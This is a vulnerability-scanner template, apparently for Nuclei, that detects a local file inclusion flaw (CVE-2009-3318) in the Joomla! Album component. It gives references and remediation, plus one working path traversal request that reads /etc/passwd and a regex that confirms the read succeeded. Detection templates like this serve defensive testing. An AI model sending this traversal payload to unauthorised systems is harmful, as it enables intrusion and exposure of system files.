id: CVE-2009-3318

info:
  name: Joomla! Roland Breedveld Album 1.14 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Joomla! Roland Breedveld Album 1.14 (com_album) is susceptible to local file inclusion because it allows remote attackers to access arbitrary directories and have unspecified other impact via a .. (dot dot) in the target parameter to index.php.
  impact: |
    The vulnerability allows an attacker to include arbitrary files from the local file system, potentially leading to unauthorized access, data disclosure.
  remediation: |
    Update to the latest version of Joomla! Roland Breedveld Album and apply any available patches or security updates.
  reference:
    - https://www.exploit-db.com/exploits/9706
    - https://nvd.nist.gov/vuln/detail/CVE-2009-3318
    - http://www.exploit-db.com/exploits/9706
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-3318
    cwe-id: CWE-22
    epss-score: 0.04657
    epss-percentile: 0.88894
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve2009,cve,joomla,lfi,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_album&Itemid=128&target=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402204c8e41ff4843fbfc02eacf9680ca52fe833d4fde27ed771b2fa8e9e1c0185b7102203d73a74c3971395b26e12a612373daac0289c4e8e9895be481f1464e0257b11a:922c64590222798bb761d5b6d8e72950